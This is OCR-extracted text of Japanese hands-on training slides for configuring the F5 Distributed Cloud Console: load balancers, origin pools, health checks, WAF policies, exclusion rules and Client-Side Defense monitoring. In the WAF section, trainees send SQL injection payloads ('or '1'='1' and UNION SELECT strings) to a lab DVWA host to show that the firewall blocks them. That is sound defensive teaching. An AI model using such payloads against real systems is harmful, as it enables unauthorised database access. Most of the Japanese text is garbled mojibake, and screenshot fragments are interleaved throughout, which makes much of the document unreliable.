shared Configuration service that are available to all 6 Default
other services

Contains config objects for: Cloud and Edge
Sites, DNS Management, DDoS & Transit
Services, Application Traffic Insight, Client-Side
Defense, Account Protection, Authentication
system . - 6 Default
Intelligence, Application Infrastructure
Protection, VoltShare, Audit Logs & Alerts,
Billing, Administration, Managed Tenants,
Internal Support

Contains config objects for: Distributed Apps,
Content Delivery Network, Load Balancers,
default ! ! 12 Default
. Web App & API Protection, Bot Defense,

Observability

distributed-app 12 Custom
hands-on for hands-on training 12 Custom
new-namespace 12 Custom

Copyright © Tokyo Electron Device LTD. All Rights Reserved.

(o)

) Refresh

&

Actions

(’o?nec’r Beyond
—

AN —=>7T(Z hands-on Z{ERAULET

074> U TR ER ARFC(E Namespace A
hands-on (CIRDTVVBZENMESRTEET

@ Home » Web App & API Protectin > hands-on » Oferview

Security Dashboard

3% Select service v

Web App & API Protection

Web App & API Protection
[ H hands-on V]
Mamespace

oo Overview

EBELL O SNEEEICE
ADISIGEIRNBIREICRDE T,

Dashboard

App Traffic

50 RRILOHOY TR



Namespace DERQ® (2%) (‘omnect Beyond

Home XZ1—® All Workspaces Zz/ER Administration @ My Namespaces ZiZR

Distributed Cloud Console
Home

[ Q searcn |

28 © &

gg Administration

Routed DDo$ > Observability > Account Protection > Authentication Intelligence > Te na nt ':} varview
Secure your infrastructure and Easily monitor your critical Reduce online fraud against Identify returning/known users B i

apps against L3/L4 DDoS applications and systems from web and mobile applications and reduce authentication ﬂ L{] Q irn Dp tions
attacks regions around the world friction

Quotas

A 0~ =

@ 0 Ea, [My Namespaces)|
Application Traffic Insight > Delegated Access > Shared Configuration > Audit Logs & Alerts > =

Recognize and monitor all client Control permissions and access Create and manage shared Review logs and manage alerts {: re d en t Ia IS

devices that access your 1o external tenants. configuration objects

appiications Users

Groups

Roles

= A @

Billing > Administration > Universal ZTNA >
Manage billing and payment Manage tenant settings, users Secure access using Zero Trust i i
setings o persona account prncines Service Credentials

Get Help
[ All Workspaces ~ ] HEQUES '[5
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Namespace D{ERQ (2%) (‘omnect Beyond

Add Namespace Z# T Name (C Namespace D&#ve A1
Add Namespace Z## T

Home » Administration > Personal Management
Support Add Namespace
@ My Namespaces ® support v ®v P
iit Salect i w
Administration () You already have implicit roles within this namespace. They will b4
7 items Q. Search & be combined with the roles that are assigned to you explicitly.
[ Tenant Settings
Name Description IAM Users
B h * Mame
new-namespace| X ﬂ

Description {optional)

Please enter description

(® Assign Users and Explicit Roles
0 items Q, search
User Role Actions

No user with explicit roles exist yet @

I leare with imnlirit rnlec

|
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® Health Check®fERk
Health Check¢ (3. H—/N\—07 U — 3> BMEEICEHEL TULBANEDHZ
HEER I BAIHDEDTT
Health Check CIEBICEIMETETCUOVRWVWEHIEKTURIZS (X, €Y —/)N—(W LT
UOTANZIZEUFEA
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Health Check O{ERX@D

ERIOYA RXZ1—Hh5
[Manage] — [Load Balancers] — [Health Checks]
IR

Web App & API Protection

Home XZ1—hH"5 Web App & API Protection %R

Welcome to the F5 Distributed Cloud Console

F5 Distributed Cloud Console delivers a set of networking, security, and app hands-on V
management services that can be used to solve various use-cases. Mamespace

Common services o Overview

pa— Dashhboard
. 00 =
@ Oy @Q App Traffic

Content Delivery Network

Cloud and Edge Sites > Distributed Apps >

Deploy apps in our global PoPs
(REs) or your cloud/edge sites

Optimize asset delivery with [*) Apps & APIs
content caching

Deploy nodes in the cloud or
edge for networking, security,

or K8s services
Performance

. ( \ . Security
& 20 2%

L.
| £° Manage

Load Balancers > Web App & API Protection > DDoS & Transit Services

Create and manage HTTP &
TCP Load Balancers on nodes
in cloud or edge locations

.

Create a proxy and configure
WAF, Bot, and API security
services for your apps

J

Secure your infrastructure and
apps against L3/L4 DDoS
attacks

Load Balancers

App Firewall
Service Policies

Rate Limiter Policies

HTTP Load Balancers

Origin Pools

Health Checks

@ @, = @

L ) i
Shared Obijects

Application Traffic Insight > Client-Side Defense > Account Protection

Monitor and mitigate fraudulent

Recognize and monitor all client Reduce online fraud against
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Health Check D{EpL 2 (:oanec’r Beyond

Add Health Check Z#f T BISA=AZIETE Edit ConfigurationTPath Z3§%E
« Name: {£&2 (GEBITZ3EHN) . Path: /login.php
e Health Check: HTTP HealthCheck

Health Check HTTP Request Parameters

Home » Web App & APl Protection » Metadata ©
Health ChECkS *Name @ * Specify Host Header @
new-http-monitor X " Origin Server Name X v
(® Add Health Check] Labels
*path @
Add Label

flogin.php X v
Or Description (&
| | Use HTTPZ @

No Health Checks added yet Health Check Parameters

Add Health Check

Request Headers to Add @

* Health Check &

U HTTP HealthCheck v | ]

*HTTP HealthCheck @

& Configufed Edit Configuration > < Reset Configuration

I\NSA—=5% A UTSEdit Configurationz# T+

= — I 7 L O
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Health Check DJ){SA—-4 (&%) (‘omnect Beyond

® Timeout
3 x g Health Check Z:iTU Ch'BIE R RICEZ DI
® Interval
. - Health Check %379 2R
® Unhealthy Threshold
Unheatiy Thresheld © A DOWN%Y—-93%E T Health Check M5RBIEIK
’ " " @ Healthy Threshold
* Healthy Threshold @ UPZXY—-93ETD Health Check DR INEIER
3 X 3

Interval 15 / Healthy Threshold 3 M54, Origin Server H'SEER(C UP LT
H5 30~45 F1&IC UP B’N—U&n3 (GEBEMEIRTD) EIMEICRDET,

Health Check ZE%XTE I D&, &—>32H5 Origin Server A®D Health Check iMThHhNEd
Flc. V=23 EAI TR THEIHDMXETHS Health Check iMThHhNEd

Copyright © Tokyo Electron Device LTD. All Rights Reserved. 56 BRERTL2IO> FITR




(’o?necf Beyond
-

INIZXAYN ==

® Origin Pool DER%

Origin Pool(d. 750 RWAFNIIA Nz 2 EROTCEDERXSTLRHY — /- (CRDET
BEOY -\ -2 EIDEERAETY
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Pool D{ERD

EfIOYARAZ1—-H5
[Manage] — [Load Balancers] — [Origin Pools] Z1&R

Web App & API Protection

hands-on
MNamespace

E5 Overview

Dashboard

App Traffic

[ Apps & APls

Performance

Security

‘ 4 Manage

[ Load Balancers ] 2

App Firewall

Service Policies >
Rate Limiter Policies >
Shared Objects >
Al & ML by

Public IP Addresses

HTTP Load Balancers

Origin Pools

Health Checks

Copyright © Tokyo Electron Device LTD. All Rights Reserved.
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Add Origin Pool Z#F

Home » Web App & API Protection »
Origin Pools

[® Add origin Pool |

or

No Origin Pools added yet

Add Origin Pool

(’o?nec’r Beyond
—
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Pool 0)#5&@ (:oanec’r Beyond

BINTA=H%& AS] Origin ServerDiEE CUATZ AN
e Name: = (CGEBITZ3LHN) «  Select Type of Origin Server: Public DNS Name of Origin Server

«  DNS Name: dvwa.demo.dev.tedlab.net

Origin Server & Reset Al Fields  Show Advanced Fields ()~

Metadata ©

ol igil er ()
* Name (&) l 2% Public DNS Name of Origin Server X v
- b4
dvwa.demo.dev.tedlab.net X

Labels &
Add label
Back Apply
Description (®

ASIUIEBApplyZif T

Origin Servers

* Origin Servers @

There are no items added yet. Start by adding first iter

[ (® Add Item ’
NameZz ASUESAdd ItemZzH# T+

Copyright © Tokyo Electron Device LTD. All Rights Reserved. 59 BRRIL2JFO> TIGTR




Pool 0)#5&@ (:anec’r Beyond

« Originserver Port @ ZOMINSA—AZIETE
e o «  Port: 80XX (Elh=HTANzdvwaDportE®ES)
*P;;ta? X v Health Checks: ER&UIZ Health Check
«  TLS: Disable
Health Checks

Health Check object (@

23U T Pool OfFRESE Y

=l new-namespace/new-http- X v

‘ ® Add Item
TLS
* TLS
[ “Z Disable X v
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®HTTP Load Balancer O1ER
D347 > MBS DOUITIA N2 F BT DR TEICHRDEIHTTP Load
Balancer_E TWAF(WAAP)REEENENELF I
B ZIFEOIUI I A MIOrigin PoollCEmkdNEd
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HTTP Load Balancer O{ER® (‘omnect Beyond

ARIOYA RAZ1-h5
[Manage] — [Load Balancers] — [HTTP Load Balancers] Add HTTP Load Balancer Z#fF
1R

Web App & API Protection Home > Web App & API Protection >
hands-on y HTTP Load Balancers
Mamespace

Bl (*) Add HTTP Load Balancer

Security Dashboard ‘
Performance Dashboard Or
App Traffic i
%
0@ Manage No HTTP Load Balancers added yet
You can learn more about this in Tech Docs (2
Load Balancers > HTTP Load Balancers Or watch this Short Explanation Video &)
App Firewall Origin Pools
Service Policies > Health Checks
Rate Limiter Policies p
Shared Objects >
Al & ML p

Public IP Addresses

Alerts Management >
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HTTP Load Balancer O{ER%@ (‘omnect Beyond

Routes, Web Application Firewall ASNDOE AR R/NSA—H%ZESTE

Documentation | JSON EQE@—5} \Oax_g

Metadata @

HTTP Load Balancer ° Name: 'ff% (EﬁkﬂUT%é%ﬁI\)

*MName
Metadata Enter Name
Domains and LB Type .
origins Labels © «  Domains: <host>.xc.dev.tedlab.net
Routes Add label

Web Application Firewall

Eot Proteciion *  Load Balancer Type: HTTPS with Automatic Certificate

API Protection Enter Description

DoS Protection

*  HTTPS Port: 443

Client-Side Defense
Domains and LB Type

order  “Domains © «  Origin Pools: YER%UIZ Pool

1 Enter

Common Security Controls

Other Settings

@ Add Item . Routes

N\

=0

cSulUES)

* Load Balancer Type ®

S5 HTTPS with Automatic Certificate X v © Web Appllcatlon Firewa”

HTTP Redirect to HTTPS &
Add HSTS Header @&

HTTPS Port

443 X

Cancel and Exit * TLS Security Level (&
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HTTP Load Balancer O{Epk3® —Pool DIEE— (‘onnect Beyond

HTTP Load Balancer YERXIEIE C. Origin Pool DT LA MSYERUTZ Pool %3&IR
Origins H'5 Origin Pools M Add Item Z# T

Origins Origin Pool with Weight and Priority Show Advanced Fields CI) ~

QOrigin Pools @ - Jem _Dr_@m e ©
There are no items added yet. Start by adding first item. ‘ - onanes
® Add Item ‘ [g::i Zul
Weight @
@ 6]

Z3H T L TOrigin PoolD:&EIR%5E T

2

HTTP Load Balancer D% EBEME(CFEOEH
%Tﬁﬂ_FLfCHTTP Load Balancer®{ERk%z5= T
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WAF Policy O{ER%/F1—=>9
® {/ERk

®E FF
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App Firewall D{ER® —WAF SSEEHICAS— (‘omnect Beyond

AT A RAZ1—m5 [App Firewall] Z:#E1R Add App Firewall Z2)v%

Web App & API Protection Home » Load Balancers » new-namespace » Security
App Firewall

hands-on
MNamespace

- () Add App Firewall
55 Overview

Performance

lem

Mame
& Manage

Load Balancers > % shared-waf

@ CDN >

@ BIG-IP Virtual Servers

App Firewall

Service Policies >
Rate Limiter Policies

Shared Objects >
Al & ML >

Public IP Addresses
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App Firewall DIFFQ® —&/(SA—FRIBETS— (orpectbeyond

INSX=A%Z A 1]
Name: {F& (GHBITZ2ETN)

Metadata @

* Name @

| new-waf x

‘ Add Label

Description @

|, | B 48 T U CRER R AT
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App Firewall Di#EA® -—Load Balancer DfREEEIHEICAS— (‘onnect Beyond

YA RXZ1—-n5
[Manage] — [Load Balancers] — [HTTP Load Balancers]
2EIRUET

Web App & API Protection YER% U7 Load Balancer ® Manage Configuration ZiZ#iRUE 9

hands-on -
Namespace Name Namespace DNS Info Certificate status er pirati... Domains Actions
Name VIRTUAL_HOST_REA ‘ newlb.xcs.dev.tedlab
new-lb new-namespace @ Valid Mar 6, 2023 E]
DY .net
oo R
oo Overview [ ”

sha red—Waf Manage Configuration ]
/
g 7 Clone Ubject
Security Dashboard - -
1) Show Child Objects

Performance Dashboard

W Delete
App Traffic
& Manage
Load Balancers > [ HTTP Load Balancers ]
App Firewall Origin Pools

Service Policies Health Checks
Rate Limiter Policies

Shared Objects

4 _t. Edit Configuration Z3&RUE T

W W W b

Al & ML

Public IP Addresses

Q) search A v X /7 Edit Configuration
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App Firewall Di@A®2 —Load Balancer [c WAF ZiERHJ%— (‘onnect Beyond

Web Application Firewall Z Enable (CUTYERUTz App Firewall Zi#iRUE T
T HBYERRUTE App Firewall Z32RU T<IZ& L

BHRUIS AR TUGRERRIFLET

Web Application Firewall

KWeb Application Firewall (WAF) @ \
2% Enable X v
* Enable @ ‘ [ Save HTTP Load Balancer ]
\ [E new-namespace/new-waf| X v ]/ ® View Configuration > 2> Edit
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WEZULTHES
ADURLIETIEALTUIIZA MERIEL THELLD

% SQL A>2172a U BZEUET
% <host> #Z B TYERXUIE Load Balancer (C7JZALTLZEW

ERIgARXZ1—h5

[Overview] — [Security] ZiZ#IRUE T
dashboardi@imz F&TX20-)LU. YERRUTE
HTTP Load Balancer Z:&iRUZE Y

Web App & API Protecti
eo App rotection Events by Country

hands-on
Namespace

v

98 Overview

Performance

47 Manage

Load Balancers

App Firewall

Service Policies

2 items

Load Balancers
Rate Limiter Policies

N Threat Level @
Shared Objects ame reat Level ®
ALEML ’ test-lb ® None
Public IP Addresses
G o
Alerts Mananement 3

Copyright © Tokyo Electron Device LTD. All Rights Reserved.
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https://<host>.xc.dev.tedlab.net/vulnerabilities/sqli/
?id=+id%3D%271%27+0r+%271%27+%3D+%27
1%27

Dashboard #5829 3 LT
IENMMRENSNTLBRZENDMDE T

70

> Web App rotection > lida-namespacs Y
i @ » © suwp
HTTP Load Balancer: iida-test-Ib ~ -
aaaaaaaaaaaaaaa points  Malicious Users Security Analytics ~ DDoS ~ Alerts  Requests @ Bot Def
2 Expor ® days (o] p i ~
S Add Filter
Security Events by Type Area
WAF Bot Defense API @ Sservice Policy
a7 4] (o] (V]
EEEEEE No
Notrer Not
Events by Country Security Events Top Attack Sources
Security Events ource IP Co
’ a7 212118161 B us
0413188119 _us
w Do 145150.69177 =13
0 6700181122 Bl ca
06189125252 o8
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App Firewall DHAINVAL XD (‘onnect Beyond

Web App & API Protection /- {HIIH A RXZ31—H'5 [App Firewall] Z1ZEiRUE T

hands-on
Mamespace

28 Overview 'f’EEEL/’t App Firewall @Eﬁﬁﬁ *ee D\B
Manage Configuration Z3&RUE T

Dashboard
App Traffic
Home » Load Balancers » new-namespace » Security —
. I\ @ Support ~ @ v

) Apps & APIs App Firewall

Performance

) (® Add App Firewall % Refresh

Security
4 Manage 1 of 2 items selected - Reset | [ Delete selected Q, search

Load Balancers >

Mame Mamespace Actions

Service Policies D » new-waf new-namespace ses

Rate Limiter Policies >

Shared Objects > ) shared-waf shared £# Manage Configuration

Al & ML > Oy Clone Object

Public IP Addresses (T) Show Status

Alerts Management >

Files > T Delete

APl Management >
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App Firewall DHAINVL X (‘onnect Beyond

4A_E. Edit Configuration ZiZIRUE T

Q, search A v X /7 Edit Configuration

Enforcement Mode % Monitoring H*5 Blocking (CZE L.
2 TUGREZRFLET

Enforcement Mode

* Enforcement Mode @

=% Blocking X v
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App Firewall DHAINVLXB (‘onnect Beyond

s (:*H % 3_5 Tgtx%ff?jtajét : Requesct:ejec:d newlb.xcs.dev:edlal:let/\.'ulnerabities/sql'/?id:ID%3A+a%2T+UNION+SELE(
RE(FTOvIENn3

The requested URL was rejected. Please consult with your administrator.

Your support ID is 22e9f9d8-de20-474a-bcde-9ae3d4de0d99

Go Back]

SN TER I ACETCIREZE DR, utbors aorengpons woions | SECUFILY ANAIYHCS feos  soroene
Sig natu re IDH&%EEEZSJ\(“ %5 \ (® Last1hour v 2 Refresh: Updated just no

2 items ~ Hide Chart ~ Hide Filter
o o \Y —
action block T Add filter S ty A Iyt € ’ ’ %EE EE Lj i g
\)

BoL_lype . 8 waF Bot Defense AP Service Policy ecu rI na ICS ALy

o !”:I 18 Nov 21:00 - 18 Nov 22:00
Bol_name —_— ,
bol_classification —

s g\
sec_avent_type waf_sec_avant b I OCk ((_ 7&3 i L \5
ma—— ERLCGHIEERTES
H o [T\
Signature ID 200013119 9:05 PM, 9110 PM, 9:15 PM, 9:20 PM, 9:25 PM, 9:30 PM, 9:35 PM, 9:40 Pl 9:45 PM, 9:50 PM, 9:55 PM, 10:00 PM,
Nov 18 Nov 18 Nov 18 Nov 18 Nov 18 Nov 18 Nov 18 Nov 1 Nov 18 Nov 18 Nov 18 Nov 18
narme Cross-site scripting attempt in “iXiName/mixMessage/name/default” Q search B
Searc
attack_type ATTACK_TYPEVULNERABILITY_SCAN
Country,city Src P Method Rsp Code Event Type Mode Authority Request Path Actions

SCCUFICY high_accuracy

context requast 18 Nov 21:56:27 JP,Chiyoda-ku 118.238.2814 GET 200 ® WAF |:}|Cll.'_fk l:qe:\b.xcs.dev.md\ab Jvulnerabilities/sqli/

matching_info  Matched 18 characters on offset 28 against value: 'GET fvulnerabiithes/xg

> 18 Nov 21:55:09 JP Chiyoda-ku 118.238.2814 GET 200 ® WAF block newlb.xcs.devediab i srabilities/sqlif

.net
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App Firewall DHAINAX@® —75—PRRAIBIODIEE—

Dashboard Tl375— MOXRFREABZZEE IR ENTEET

@ Dashboard & _t(fiE I 3F<EARIZIUvIUET

- Export PDF Domains ~

@ Custom Z3ERUFEI (FIAJ)LD : Last 5 minute)

® BftelsAla@&iRU ez s ELFT (&RA17H)

@ I =B TUTRBRULES
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(’o?nec’r Beyond
—

®
l
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7 Refresh: Upd.

Last 5 minutes
Last 1 hour
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App Firewall DHAINA XS —WAF BEAIN—IVDIERS— ((onnect Beyond

RKIRSNTULB 75— IS WAF Exclusion Rule Z/ERK I BAENTEET,

Y EEOBTHE T 5L
BRI TS — NS -+ A5 Pl

Create WAF Exclusion rule Zi&iRUF 9

('t;:;msmn_m.e.mma&a “}«—_| Name (FEBEBTADEINTVDD
l Al LI VEBINCEZELET

N " Fﬂl'ﬂ‘i\'\ [6)]
M. od pe Mo Authority ~ RequestPath  Actions Domain . /_(_ .
.| Domain &(c WAF Exclusion Rule
) 29 Nov 00:13:12 JP,Chiyoda-ku 118.238.28.4 GET 200 ® WAF allow newlb.xcs.devted! . inerabilities/i/ b Bract Value *
| AT
* Exact Value & 1=
~ 29Nov00:07:48  JP.Chiyoda-ku 118.238.28.14 GET 200 ® WAF allow zif\zxcs'dev'tem Jvulnerabilities/sqli/ | 9 newlb.xcs.dev.tedlab.net ) x
Information JSON [ (@ Create WAF Exclusion rule ]

(+) Add to Blocked Clients + ppfh Regex @
(® Add to Trusted Clients ~fvulnerabilities/sqgli/?3 x
src_ip 118.238.28.14 req_id f0a43e09-d775-478b-be01-ca93ebb0da3d3

it ) . . ; ) \ |< .

city Chiyoda-ku authority newlb.xcs.dev.tedlab.net - } \X—k\_’) |JOIX I\X J“J R Slg natu re ID
region 13 req_path Ivulnerabilities/sqli/ Mathods @ / =3 U - ® =

country JP reg_params  id=%3Fid%3Da+UNION+SELECT+1%2C2%3B--+-%26Submit%2DSubmit&Submit=Submit GET % %ﬁﬁ:b\b(%‘g(hmbt%ﬁﬁfgig
asn

Sony Network Communications Inc.(2527) method GET

WAF Exclusion Rule Action (D

"¢ App Firewall Detection Centrol X w l

#EIDEEEF N TN WAF Exclusion Rule D5
EEEICEETRITLEY

#01 200015125 x 2

w

#2 200002811 x =

w

\ —— 5/ IR = FUTL - IVafERLET
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App Firewall DHASYLX® —Load Balancer A® Rule i&H— ((omnect Beyond

3400 # T UT. Load Balancer ®
SR EmEICEEIULET

Edit Configuration > Z)EIR9I 32 TEALL
WAF Exclusion Rule Zig:2TEF9

Web Application Firewall

* Web Application Firewall (WAF) @

2% Enable X v
*Enable @
=l new-namespace/new-waf X v @& View Config

WAF Exclusion Rules @

[ (@ Configured Edit Configuration > ]@ Reset Configuration

Data Guard Rules

Not configured Configure >

# T LT Load Balancer Ms&FEELT
REFELET
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Client-Side DefenseDs%ESEQD (‘omnect Beyond

Home XZ1—H5 Client-Side DefenseZzi#IRUE I YA RXZ1-h5
[Manage] — [Configuration] Z:&#RULF 9

Welcome to the F5 Distributed Cloud Console

F5 Distributed Cloud Console delivers a set of networking, security, and app
management services that can be used to solve various use-cases.

Client-Side Defense
Common workspaces 99 view Catalog A

® ) B 83 A

Web App & API Protection > Multi-Cloud Network > Multi-Cloud App Connect > Distributed Apps > | | ||| MD n |tﬂr| ng
Create a load balancer and Connect Connect apps across clouds, Deploy apps in our global PoPs
configure WAF, Bot, and API Networking & security across edge and on-premises using (REs) or your cloud/edge sites
security services for your apps clouds, edge and on-premises Load Balancers D
f ashboard

i / \ ) )
P 9. gz @6 [Proview) Script List
o -
DNS Management > Bot Defense > Data Intelligence > Client-Side Defense > NEtWO rk
Configure and manage primary Deploy bot mitigation for F5 Advance Your Security Monitor and mitigate fraudulent
or secondary DNS service BIG-IP and other 3rd party Intelligence and Fraud app requests at the client
services Defenses devices FD rm Fields

- J

| [&9 Manage ]

Configuration |
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Client-Side DefenseDs%ESER (‘omnect Beyond

Add Domain To Protect Z7UvJULF 9

Home » Client-Side Defense > Manage

Configuration

[@ Add Domain To Protect } How to Inject JS (@) Schedule a session ]

RAA>%a% AU, Save and ExitzJUyIULE S
% RAA S Z(EMTURILRAL>D1D EDOBEED RAA T DMEBENHDET
f5) example.com. example.co.jpir&

Domain to protect

[[ Root Domain () ] ]

S OZXPVak:- Nl Add Domain to protect IR,
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Client-Side DefenseDs%ESER (‘omnect Beyond

HTTP Load BalancerTClient-Side DefensezB3MbLET

Namespaceh* hands-on (CR>TWBTE%Z
2L, YA RXZ1—h5
[Manage] — [Load Balancers] -

[HTTP Load Balancers] Zi#RUE Y

management services that can be used to solve various use-cases. Web App & API Protection

H hands-an .
Common services Namespace

Home XZ1—/H5 Web App & API Protection Zi#iRUE T

Welcome to the F5 Distributed Cloud Console

(@ 00 ) L Prov oo Overview
.@. Oa o”"o
— ) -}
Cloud and Edge Sites > Distributed Apps > Content Delivery Network Lz
Deploy nodes in the cloud or Deploy apps in our global PoPs Optimize asset delivery with App Traffic
edge for networking, security, (REs) or your cloud/edge sites content caching
or K8s services
[ Apps & APIs
e Faa — Performance
G ® % _
Security
Load Balancers > Web App & API Protection > DDoS & Transit Services
Create and manage HTTP & Create a proxy and configure Secure your infrastructure and
TCP Load Balancers on nodes WAF, Bot, and API security apps against L3/L4 DDoS | £ Ma nage
in cloud or edge locations services for your apps attacks
\ / [ Load Balancers > ][ HTTP Load Balancers ]
App Firewall Crigin Pools
="
0 @ = carot
RS = Service Puolicies > Health Checks
Application Traffic Insight > Client-Side Defense > Account Protection Rate Limiter Policies >
Recognize and monitor all client Monitor and mitigate fraudulent Reduce online fraud against Shared Obiects > I
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Client-Side DefenseD:iEEHED (‘omnect Beyond

VEREHDHTTP Load Balancer®Actions FcH2=m)—45— (-++) &IUWIL.
Manage Configurationz2yJLE 9

) Name Namespace DNS Info * Validity Certificate ex... Domains Actions

hands-
> O demo-Ib hands-on X‘;}UAL‘HOST‘RE on.xc.demo.tedlab.
net

[y Manage Configuration ]

) Clone Object
(2) Show Status

(2) Show Child Objects

Tl Delete

HTTP Load Balancer®s%E & H(CBEZ . BHEA _L(Chd
Edit Configurationz2ZUy L9

| Q, Searc A VvV X ‘ [5:9’ Edit Configuration ]

Metadata @

Name: @ demo-Ib
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Client-Side DefenseDs%ESH EG (‘omnect Beyond

Client-Side Defense®FILAI>hH5 Enable%i&iRU. Edit Configurationz/Uw/ LES

Client-Side Defense (0
‘ " Enable e v ‘

*Client-Side Defense Policy ©®

® Configurec[Edit Configuration >] < Reset Configuration

1 JavaScript Insertion Settings®JLA>h'5 Insert JavaScript in All Pages
Z1EIRU. ApplyzdvILES

JavaScript Insertion Show Advanced Fields () ~
* JavaScript Insertion Settings (O
‘ U Insert JavaScript in All Pages v ‘

ApplyZSUy#% . Bl T B0 W)
82
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Client-Side Defense®1>Y—)l (‘omnect Beyond

Home XZ1—h Client-Side DefenseZziZiRUE YA RXZ1-h5
[Monitoring] — [Dashboard] ZiERUE T

Welcome to the F5 Distributed Cloud Console

F5 Distributed Cloud Console delivers a set of networking, security, and app
management services that can be used to solve various use-cases.

Client-Side Defense
Common workspaces 99 view Catalog A

® ) B 83 A

Web App & API Protection > Multi-Cloud Network > Multi-Cloud App Connect > Distributed Apps > | | ||| MD n |tﬂr| ng
Create a load balancer and Connect Connect apps across clouds, Deploy apps in our global PoPs
configure WAF, Bot, and API Networking & security across edge and on-premises using (REs) or your cloud/edge sites
security services for your apps clouds, edge and on-premises Load Balancers D
f ashboard

i / \ ) )
P 9. gz @6 [Proview) Script List
o -
DNS Management > Bot Defense > Data Intelligence > Client-Side Defense > NEtWO rk
Configure and manage primary Deploy bot mitigation for F5 Advance Your Security Monitor and mitigate fraudulent
or secondary DNS service BIG-IP and other 3rd party Intelligence and Fraud app requests at the client
services Defenses devices FD rm Fields

- J

| 42 Manage

Configuration

Copyright © Tokyo Electron Device LTD. All Rights Reserved. 83 BRRIL2JFO> TIGTR
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Client-side Defense > Monitoring > Dashboard

Dashboard Tl 2= AT MED RXA S FE(CBESNTc Ve —BZ R TEFT

Client-Side Defense

Action Needed Found & Mitigated Found & Allowed Status
- 9 0 0 ® Action Needed
ll Monitoring ¢

Dashboard R Domain%%gu\yljg-éztﬁ\ Risk Score @

= == =59 Lk > 100,’100
N = 1 =
Script List 9 items i B AEER I BE @
Network Details
. Domain Status Last Seen Domain C: First Seen 04/04/2025 17:46:31
Form Fields
Last Seen 04/15/2025 01:44:39
® Action Needed 04/15/2025 01:44:39 Unknown Action Taken -
42 Manage

Risk reasoning ©

Configuration ® Action Needed 04/15/2025 01:44:39 Phishing  Website Is Unpopular

Protected Pages
® Action Needed 04/15/2025 01:44:39 Business

® Action Needed 04/15/2025 01:44:39 Search E| _

Notifications

O

JHIN

Alerts

Audit Logs

Associated Scripts ©

® Action Needed 04/15/2025 01:44:39 Business

(3) Workspace Info
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Client-side Defense > Monitoring > Script List

Script ListT (&, #RXUIZERIVTRDOURIDE S PIRFNUIC BB E— B THRTEEXT

7 Add Filter
lil Monitoring
Script Name Status Risk Level Justifica... Last... Locations Found Network Intera... Affected Clien... Form Fields ... New Behavi...
Dashboard
Script List o
cri is
? AN - Action High 04/04/2
e 025 7 1 0 7
Network Needed Risk 17:46:32
Form Fields
AN - Action High 04/04/2
— Needed e Risk 025 12 1 1 13
<7 Manage 17:46:32
Configuration 04/04/2
AN - Action High
Needed e Risk 025 2 1 0 2
ificati 17:46:32
L\ Notifications
Alerts AN - Action High 04/04/2
e 025 4 1 0 4
Audit Logs Needed Risk 17:46:32
) . ) 04/14/2
Needed Risk 18:33:30
About

\ Script® ) )y 3 22E T, ARFNUIZRFfE
R TE D RXA 221 TR I D ENFIHE
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Client-Side Defense®1>Y—)l (‘omnect Beyond

Client-side Defense > Monitoring > Script List > Network List

Network ListT (&, = AT MHED RAA VFEISBESNIIN\
FILED XA FEFFR]AESEIN TV WV e —E= R TS

| [l Monitoring 37 items Q search | 8
bl Domain Last Seen Domain Category ﬂdded to Allow/Mitigate List \ Actions
Script List

[ Network ] I 04/15/2025 01:44:39 Unknown Unlisted
Form Fields
] 04/15/2025 01:44:39 Phishing and Other Frauds Unlisted
/% Manage
| 04/15/2025 01:44:39 Business and Economy Unlisted
Configuration
_ 04/15/2025 01:44:39 Search Engines Unlisted
[\ Notifications
Alerts ] 04/15/2025 01:44:39 Business and Economy Unlisted
Audit Logs
I 04/15/2025 01:44:39 Computer and Internet Info Unlisted
() Workspace Info
_ 04/15/2025 01:44:39 Computer and Internet Security Unlisted
About
] 04/15/2025 01:44:39 Phishing and Other Frauds ansted /
4 »
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Client-side Defense > Monitoring > Script List > Form Field

Form FieldDEDEP D HERAEDEN TV N e —E TR TEET

57 Add Filter
Ll Monitoring
Form Field Last Read Time First Read Time Associated Scripts Locations Found Analysis Actions
Dashboard
Script List 05/02/2025 04/14/2025
contactForm ]| _'f _'f _'f _'f 2 Scripts _ Not Sensitive (by system) E]
Network 11:59:08 16:27:02
Form Fields 05/02/2025 04/14/2025
default_content:nth-child(1) ]| 12:00:01 12:48:50 2 Scripts _ Not Sensitive (by system)
47 Manage
) 05/02/2025 04/14/2025 : .
Configuration default_content_type:nth-child(1) L] 12:00:01 12:48:50 2 Scripts _ Not Sensitive (by system)
- Tt . 05/02/2025 04/14/2025 i .
3 . _
L' Notifications default_status:nth-child(1) ]| 12:00:01 12:48:50 2 Scripts _ Not Sensitive (by system)
Alerts
Audit Logs . 05/02/2025 04/14/2025 . .
redirectContentType ]| 12:00:01 12:48:50 . Not Sensitive (by system)

() Workspace Info
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ScriptDi#{S5cZzAllow ListZz[dMitigate List(CiEH (onnectBeyond

Client-side Defense > Monitoring > Dashboard
Client-side Defense > Monitoring > Script List > Network List

DashboardF/z(d. Network ListOBIENS. %= RXA I A\DIEZz el [ ESDRTEZ I D LN BIEE

Client-Side Defense Status %‘ |\)( ’f //\UHH%JLD\:L,\EZS“ZD

: e ~pnd & Mitigated ® Action Needed :50)7- b(j: A”OW LISt/\ )J[I
Domain®&%/7Jv) 9% A8 ,;Cknm\m)t@n(;

lul Monitoring -,t—C\ .:\Il:.%H] | ﬁﬁﬁﬁ $» Risk Score ©
Dashboard — v A E Gy 100/-]00 Mltlgate LISt/\Lb[I
Script List 4
Network Details
Form Fields Domain Status First Seen 04/04/2025 17:46:31 Added to Allow/Mitigate List Actions
Last Seen 04/15/2025 01:44:39
_ ® Action Needed . .
/* Manage Action Taken - Unlisted E]
Configuration _ @ Action Needed Risk reasoning ©
Website Is Unpopular Unlisted (~) Add To Allow List
£} Notifications I ¢ /ction Needed @) Add To Mitigate List
Protected Pages
Alerts "
D o cion Needed Unisted
Audit Logs
I - ction Needed

(1) Workspace Info

Associated Scripts ©
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